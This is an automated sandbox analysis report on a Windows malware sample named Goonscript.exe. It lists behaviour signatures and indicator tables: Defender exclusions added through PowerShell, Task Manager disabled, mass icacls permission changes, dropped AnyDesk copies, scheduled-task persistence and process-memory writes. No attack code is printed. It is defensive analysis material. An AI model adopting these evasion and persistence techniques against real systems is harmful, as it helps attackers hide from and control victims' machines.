61f681746ed31336dde667f4f68314291712fbb0d0df0f52d4919df5f94da088

Analysis

max time kernel
1712s
max time network
1798s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
24/07/2024, 01:14

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Goonscript.exe
Size

6.9MB
MD5

8bb727b07bc152ae905f3fb4ac0f2f76
SHA1

e0e5b8de9c0d72cfbcb8f097faa7fe09de17dba8
SHA256

61f681746ed31336dde667f4f68314291712fbb0d0df0f52d4919df5f94da088
SHA512

a05ef5971a9fbeba950425512e699e0cac0873a9b6b2efaae32ee7364bd0d014d3e2bcf698931763f2f06c3567d08987c092bb86d61dea0001bc683572540f0e
SSDEEP

98304:vAdMOtmUfXgtMR/31ppMwuRUS56WkhaYHkBYbUF6Hhsi/+GDRJ0ite5SKHrrMw+z:vUm44BjYHkBmU0sm70qiLLr7bae0vaK1

Score

8^/10

discovery evasion execution exploit

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2688	powershell.exe
2680	powershell.exe
2364	powershell.exe
2300	powershell.exe
2468	powershell.exe
2328	powershell.exe
1528	powershell.exe
2244	powershell.exe
2620	powershell.exe
2728	powershell.exe

Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 26 IoCs

exploit

pid	Process
2936	takeown.exe
920	icacls.exe
3056	icacls.exe
1648	icacls.exe
520	icacls.exe
2840	icacls.exe
2296	icacls.exe
2836	icacls.exe
2860	icacls.exe
864	icacls.exe
2072	icacls.exe
2616	icacls.exe
2696	icacls.exe
2928	icacls.exe
1900	icacls.exe
2956	icacls.exe
2464	icacls.exe
2712	icacls.exe
928	icacls.exe
1464	icacls.exe
1168	icacls.exe
1588	icacls.exe
2756	icacls.exe
1656	icacls.exe
1492	icacls.exe
2952	icacls.exe

Executes dropped EXE 14 IoCs

pid	Process
2780	doorbell-upd5.exe
2624	AnyDesk.exe
1988	AnyDesk.exe
2744	AnyDesk.exe
2268	AnyDesk.exe
2996	AnyDesk.exe
2668	AnyDesk.exe
1072	AnyDesk.exe
2748	locked.exe
3048	AutoHotkeyU64.exe
2796	AutoHotkeyU64.exe
2208	Anydesk.exe
2460	Anydesk.exe
2064	unlock.exe

Loads dropped DLL 6 IoCs

pid	Process
2260	wscript.exe
2260	wscript.exe
2616	cmd.exe
2460	Anydesk.exe
2268	AnyDesk.exe
2260	wscript.exe

Modifies file permissions 1 TTPs 26 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2296	icacls.exe
1648	icacls.exe
1656	icacls.exe
2756	icacls.exe
920	icacls.exe
2712	icacls.exe
520	icacls.exe
2840	icacls.exe
928	icacls.exe
1464	icacls.exe
2860	icacls.exe
864	icacls.exe
2464	icacls.exe
1900	icacls.exe
2952	icacls.exe
2072	icacls.exe
3056	icacls.exe
2928	icacls.exe
1492	icacls.exe
1588	icacls.exe
1168	icacls.exe
2956	icacls.exe
2616	icacls.exe
2836	icacls.exe
2696	icacls.exe
2936	takeown.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\AnyDesk\user.conf	Anydesk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\AnyDesk\ad.trace	Anydesk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\AnyDesk\user.conf	Anydesk.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\AnyDesk\ad.trace	Anydesk.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Anydesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AnyDesk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Anydesk.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Anydesk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Anydesk.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
2332	timeout.exe
2644	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1576	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 48 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 50b7e42269ddda01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{58C31EC1-495C-11EF-BEE2-725FF0DF1EEB} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb7c5835718279428690b074aa627b7000000000020000000000106600000001000020000000b657e9d392c13300f83f27f9e797fce6d38145bbee2c102cbf0548adb5f57e46000000000e8000000002000020000000f5db78c757a4097cf6a1981909f260858a1c3a8d66bf0d73de9ee3b68d723eb990000000ad04a022e45192cf61019bb297787d6461764bc597cc52ee036c0b1cf0b0d7415b0fbfe3880a249567e86594c2fc3a18c4d94aa0acf7d4829738736fa4ee4db08dbd633c599a9fde3fa995a388c8a44ca657cf8cf45aec70a593a2784c802388f643405d6f69705c711de4d4bb334f3e9501aa12fd83c56ec3add08b8e4d93ccb518a7b89927aa09a4845c1df92d89d74000000089c8d079ebcd9ca3608a2c99a404f7ec74fbd4c8573b8ca11fc6fd66db0e9c2c6802f366d6deb700d119334ae31ba2eeadb33b15e4bcf02c85ca3e258234cddc	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\AutoHide = "yes"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "29"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DOMStorage\spankbang.com\ = "29"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DOMStorage	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DOMStorage\spankbang.com\Total = "29"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "427946512"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "yes"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DOMStorage\spankbang.com	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DOMStorage\spankbang.com\NumberOfSubdomains = "1"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000bb7c5835718279428690b074aa627b7000000000020000000000106600000001000020000000a22afebae4e04fb45e032d74d525eeb561a24af5b21f937fa2e24186bc8f10df000000000e800000000200002000000072f68b4d84d4a25dba7b93429a765312052ffcfac06c241a3c1cc27663ca111320000000bea6ef151e4264e9fe25040f6699cdd4fa0e08eab8bccbc390a3583915115ad740000000d98a7a8b257fa9577e19515acc1ecedfb3696d0526370a1dd7d610d8f25c2398267faa4fe3cbcad71ea28b262f006c5215511d836583c3cbad6fac0e24203eff	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total	IEXPLORE.EXE

Modifies data under HKEY_USERS 8 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{16F3DD56-1AF5-4347-846D-7C10C4192619} {0C6C4200-C589-11D0-999A-00C04FD655E1} 0xFFFF = 0100000000000000300b172b69ddda01	Anydesk.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{2916C86E-86A6-43FE-8112-43ABE6BF8DCC} {0C6C4200-C589-11D0-999A-00C04FD655E1} 0xFFFF = 010000000000000080ce172b69ddda01	Anydesk.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{08244EE6-92F0-47F2-9FC9-929BAA2E7235} {0C6C4200-C589-11D0-999A-00C04FD655E1} 0xFFFF = 010000000000000090661a2b69ddda01	Anydesk.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached	Anydesk.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{D9144DCD-E998-4ECA-AB6A-DCD83CCBA16D} {0C6C4200-C589-11D0-999A-00C04FD655E1} 0xFFFF = 0100000000000000d0cd0e2b69ddda01	Anydesk.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{99FD978C-D287-4F50-827F-B2C658EDA8E7} {0C6C4200-C589-11D0-999A-00C04FD655E1} 0xFFFF = 010000000000000010db112b69ddda01	Anydesk.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{AB5C5600-7E6E-4B06-9197-9ECEF74D31CC} {0C6C4200-C589-11D0-999A-00C04FD655E1} 0xFFFF = 0100000000000000a0ab152b69ddda01	Anydesk.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{920E6DB1-9907-4370-B3A0-BAFC03D81399} {0C6C4200-C589-11D0-999A-00C04FD655E1} 0xFFFF = 0100000000000000c0f9152b69ddda01	Anydesk.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command\ = "\"C:\\ProgramData\\AnyDesk.exe\" \"%1\""	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk	AnyDesk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon\ = "\"C:\\ProgramData\\AnyDesk.exe\",0"	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon	AnyDesk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\DefaultIcon\ = "AnyDesk.exe,0"	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\DefaultIcon	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell\open\command	AnyDesk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command\ = "\"C:\\ProgramData\\AnyDesk.exe\" --play \"%1\""	AnyDesk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\ = "URL:AnyDesk Protocol"	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\shell	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.anydesk\shell\open\command	AnyDesk.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk	AnyDesk.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\AnyDesk\URL Protocol	AnyDesk.exe

Modifies registry key 1 TTPs 10 IoCs

Modify Registry

T1112

pid	Process
1744	reg.exe
1984	reg.exe
1772	reg.exe
2688	reg.exe
2448	reg.exe
1688	reg.exe
2948	reg.exe
3024	reg.exe
2560	reg.exe
932	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2124	schtasks.exe
3000	schtasks.exe
1552	schtasks.exe
2648	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2008	vlc.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 3 IoCs

pid	Process
2624	AnyDesk.exe
2668	AnyDesk.exe
1072	AnyDesk.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
3004	powershell.exe
2744	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2624	AnyDesk.exe
2268	AnyDesk.exe
2668	AnyDesk.exe
1072	AnyDesk.exe
1116	powershell.exe
1692	powershell.exe
1948	powershell.exe
1624	powershell.exe
2864	powershell.exe
1520	powershell.exe
1216	powershell.exe
2248	powershell.exe
2584	powershell.exe
1692	powershell.exe
2952	powershell.exe
2704	powershell.exe
2300	powershell.exe
2244	powershell.exe
2620	powershell.exe
2468	powershell.exe
2328	powershell.exe
2728	powershell.exe
2688	powershell.exe
1528	powershell.exe
2680	powershell.exe
2364	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2008	vlc.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	2936	takeown.exe
Token: SeDebugPrivilege	3004	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	1624	powershell.exe
Token: 33	468	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	468	AUDIODG.EXE
Token: 33	468	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	468	AUDIODG.EXE
Token: 33	2008	vlc.exe
Token: SeIncBasePriorityPrivilege	2008	vlc.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	1520	powershell.exe
Token: SeDebugPrivilege	1216	powershell.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeDebugPrivilege	2328	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeDebugPrivilege	2680	powershell.exe
Token: SeDebugPrivilege	2364	powershell.exe
Token: SeRestorePrivilege	1492	icacls.exe
Token: SeRestorePrivilege	928	icacls.exe
Token: SeRestorePrivilege	1900	icacls.exe
Token: SeRestorePrivilege	2712	icacls.exe
Token: SeRestorePrivilege	2464	icacls.exe
Token: SeRestorePrivilege	1656	icacls.exe
Token: SeRestorePrivilege	1648	icacls.exe
Token: SeRestorePrivilege	3056	icacls.exe
Token: SeRestorePrivilege	2928	icacls.exe
Token: SeRestorePrivilege	2860	icacls.exe
Token: SeRestorePrivilege	2836	icacls.exe
Token: SeRestorePrivilege	2952	icacls.exe
Token: SeDebugPrivilege	1576	taskkill.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1988	AnyDesk.exe
1988	AnyDesk.exe
1988	AnyDesk.exe
2192	iexplore.exe
1988	AnyDesk.exe
2996	AnyDesk.exe
2996	AnyDesk.exe
2996	AnyDesk.exe
3048	AutoHotkeyU64.exe
2008	vlc.exe
2008	vlc.exe
2008	vlc.exe
2008	vlc.exe
2008	vlc.exe
2008	vlc.exe
2796	AutoHotkeyU64.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2008	vlc.exe
2008	vlc.exe
2008	vlc.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe
2460	Anydesk.exe

Suspicious use of SendNotifyMessage 19 IoCs

pid	Process
1988	AnyDesk.exe
1988	AnyDesk.exe
1988	AnyDesk.exe
1988	AnyDesk.exe
2996	AnyDesk.exe
2996	AnyDesk.exe
2996	AnyDesk.exe
3048	AutoHotkeyU64.exe
2008	vlc.exe
2008	vlc.exe
2008	vlc.exe
2008	vlc.exe
2008	vlc.exe
2796	AutoHotkeyU64.exe
2008	vlc.exe
2008	vlc.exe
2008	vlc.exe
3048	AutoHotkeyU64.exe
2796	AutoHotkeyU64.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
2192	iexplore.exe
2192	iexplore.exe
2212	IEXPLORE.EXE
2212	IEXPLORE.EXE
2528	IEXPLORE.EXE
2528	IEXPLORE.EXE
2192	iexplore.exe
2008	vlc.exe
2796	AutoHotkeyU64.exe
2796	AutoHotkeyU64.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2508 wrote to memory of 2260	2508	Goonscript.exe	29
PID 2508 wrote to memory of 2260	2508	Goonscript.exe	29
PID 2508 wrote to memory of 2260	2508	Goonscript.exe	29
PID 2260 wrote to memory of 2780	2260	wscript.exe	30
PID 2260 wrote to memory of 2780	2260	wscript.exe	30
PID 2260 wrote to memory of 2780	2260	wscript.exe	30
PID 2780 wrote to memory of 2784	2780	doorbell-upd5.exe	31
PID 2780 wrote to memory of 2784	2780	doorbell-upd5.exe	31
PID 2780 wrote to memory of 2784	2780	doorbell-upd5.exe	31
PID 2784 wrote to memory of 2936	2784	cmd.exe	33
PID 2784 wrote to memory of 2936	2784	cmd.exe	33
PID 2784 wrote to memory of 2936	2784	cmd.exe	33
PID 2784 wrote to memory of 2840	2784	cmd.exe	34
PID 2784 wrote to memory of 2840	2784	cmd.exe	34
PID 2784 wrote to memory of 2840	2784	cmd.exe	34
PID 2784 wrote to memory of 3004	2784	cmd.exe	116
PID 2784 wrote to memory of 3004	2784	cmd.exe	116
PID 2784 wrote to memory of 3004	2784	cmd.exe	116
PID 2784 wrote to memory of 2624	2784	cmd.exe	36
PID 2784 wrote to memory of 2624	2784	cmd.exe	36
PID 2784 wrote to memory of 2624	2784	cmd.exe	36
PID 2784 wrote to memory of 2624	2784	cmd.exe	36
PID 2624 wrote to memory of 2744	2624	AnyDesk.exe	37
PID 2624 wrote to memory of 2744	2624	AnyDesk.exe	37
PID 2624 wrote to memory of 2744	2624	AnyDesk.exe	37
PID 2624 wrote to memory of 2744	2624	AnyDesk.exe	37
PID 2624 wrote to memory of 1988	2624	AnyDesk.exe	38
PID 2624 wrote to memory of 1988	2624	AnyDesk.exe	38
PID 2624 wrote to memory of 1988	2624	AnyDesk.exe	38
PID 2624 wrote to memory of 1988	2624	AnyDesk.exe	38
PID 2260 wrote to memory of 2192	2260	wscript.exe	39
PID 2260 wrote to memory of 2192	2260	wscript.exe	39
PID 2260 wrote to memory of 2192	2260	wscript.exe	39
PID 2192 wrote to memory of 2212	2192	iexplore.exe	40
PID 2192 wrote to memory of 2212	2192	iexplore.exe	40
PID 2192 wrote to memory of 2212	2192	iexplore.exe	40
PID 2192 wrote to memory of 2212	2192	iexplore.exe	40
PID 2784 wrote to memory of 2668	2784	cmd.exe	44
PID 2784 wrote to memory of 2668	2784	cmd.exe	44
PID 2784 wrote to memory of 2668	2784	cmd.exe	44
PID 2784 wrote to memory of 2668	2784	cmd.exe	44
PID 2784 wrote to memory of 2248	2784	cmd.exe	78
PID 2784 wrote to memory of 2248	2784	cmd.exe	78
PID 2784 wrote to memory of 2248	2784	cmd.exe	78
PID 2784 wrote to memory of 1072	2784	cmd.exe	46
PID 2784 wrote to memory of 1072	2784	cmd.exe	46
PID 2784 wrote to memory of 1072	2784	cmd.exe	46
PID 2784 wrote to memory of 1072	2784	cmd.exe	46
PID 2260 wrote to memory of 2008	2260	wscript.exe	47
PID 2260 wrote to memory of 2008	2260	wscript.exe	47
PID 2260 wrote to memory of 2008	2260	wscript.exe	47
PID 2192 wrote to memory of 2528	2192	iexplore.exe	48
PID 2192 wrote to memory of 2528	2192	iexplore.exe	48
PID 2192 wrote to memory of 2528	2192	iexplore.exe	48
PID 2192 wrote to memory of 2528	2192	iexplore.exe	48
PID 2784 wrote to memory of 1116	2784	cmd.exe	49
